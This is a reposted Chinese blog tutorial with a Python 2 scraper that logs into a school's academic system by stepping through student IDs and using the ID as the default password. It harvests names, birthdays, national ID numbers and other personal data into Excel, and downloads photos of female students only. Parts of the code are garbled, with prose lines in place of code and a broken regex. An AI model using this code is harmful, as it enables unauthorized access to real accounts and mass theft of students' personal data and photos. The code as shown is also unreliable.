python爬取学校学生信息_使用Python爬取学校学生信息!(简单爬虫)
好久没来写博客了。经过一番了解后发现学校的教务系统中存在很多尚未更改初始密码的学生。于是博主决定开发一个利用Python编写的爬虫小工具,专门提取并收集所有尚未更改初始密码的学生数据。最后通过这种方式向这些学生发送提醒,并建议他们尽快完成密码更新。
鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。
首先为初始化方法__init__(self)
import urllib
import urllib2
import cookielib
import re
import xlwt
from xlrd import open_workbook
from xlutils.copy import copy
class STUPID:
def init(self):
self.c=0#用于后期记录在excel中行数
self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url
self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url
#user-agent用于放在header中,伪装为浏览器
指定以下用户代理字符串等于‘Mozilla 5.0 版本,
Windows 6.1,
WOW64,
ApparentVisitor/...,
Safari 537.36’。
self.headers={
'User-Agent':self.user_agent
}#设置头
#用于保存cookie
cookie = cookielib.CookieJar()
#用于输出send内容,dubug时使用
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
在Python代码中,默认情况下会启用HTTPCookieProcessor来处理cookie,并通过指定的httpHandler和httpsHandler参数自动生成一个opener配置项。
urllib2.install_opener(self.opener)
下面介绍login(self,k)方法
def login1(self,k):
user= str(123456789+k) # 用户变量赋值 123456789+k ,其中用户名设置为学号 , 为了防止个人信息泄露 , 采用了这样的输入方式 , 其中 K 位偏移技术用于加密 , 这是因为学号按递增顺序排列
passwd= str(123456789+k)#初始密码等于用户名
#设置提交给服务器的数据
postdata= urllib.urlencode({
'user':user,
'pass':passwd,
'typeid':'2'})#typeid为用户种类
request=urllib2.Request(
url=self.loginurl,
data = postdata,
headers=self.headers
)
result= self.opener.open(request)#登陆并获取返回内容
return user#返回学号
登录成功后, 因为 cookie 已经存在并被记录于 signature 定义的 cookie 中, 所以可以直接进入信息页面; 执行 getInfPage(self)
def getInfPage(self):
request=urllib2.Request(
url=self.infurl,
headers=self.headers
)
result= self.opener.open(request)
return result.read().decode('gbk')
获取的数据是以HTML格式存在的文本内容,因此必须依赖正则表达式机制来提取目标内容。为了提取目标内容而进行解析,并调用readInf(self)方法。
def readInf(self):
page= self.getInfPage()#page为html内容
inf=re.findall('([^
].?).?(.*?)',page,re.S)
return inf
基于预设规则进行匹配的数据将被存储在列表中并返回。当执行到此步骤时,请调用writeinf(self,Items,user)方法以将相关信息写入Excel文件。
def writeinf(self,Items,user):
if Items:#若item不为空,行数+1
self.c = self.c+1
else:
#由于包里没有直接修改的方法,因此采用先复制再写的方法
rb = open_workbook("inf.xls")#打开inf.xls文件
wb= copy(rb)#复制内容
s= wb.get_sheet(0)#获取第一张表
i=0
username =''
x= unicode('女', "utf-8")
for item in Items:
s.write(self.c,0,user)#第一列写入学号
if i<3 :
if i==0:
username=item[1]#获取姓名,并写入第二列
if i== 1 and item[1] == x:#若为女生,获取其照片
self.saveImg(user,username)#此为保存图片方法,在下文介绍
print 'save'
s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族
if i== 13:#
s.write(self.c,6,item[1])#第七列写入毕业院校
if i== 15:
s.write(self.c,7,item[1])#第八列写入籍贯
if i== 17:
s.write(self.c,8,item[1])#第九列为身份证号
else:
if i == 4:
s.write(self.c,4,item[0])第五列写生日
if i == 8:
s.write(self.c,5,item[0])第六列写政治面貌
i= i+1
wb.save('inf.xls')#保存xsl文件
介绍一下保存图片的方法saveImg(self,user,username):
def saveImg(self,user,username):
imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url
filename= 'img/'+username+'.jpg'#文件以名字命名
u= urllib.urlopen(imgUrl)
data= u.read()#读取图片
f= open(filename,'wb')
f.write(data)#保存图片
f.close #关闭
return True
最后运行即可
supid= STUPID()
k=1
for k in range(1,200) :
user= supid.login(k)#由于学生人数在200以内,因此最高设置为200
supid.writeinf(supid.readInf(),user)
随后就是耐心等待的过程,在这段时间里我会致力于完成更多的任务
版权所有 IT知识库 CopyRight © 2009-2015 IT知识库 IT610.com , All Rights Reserved.
京ICP备09083238号
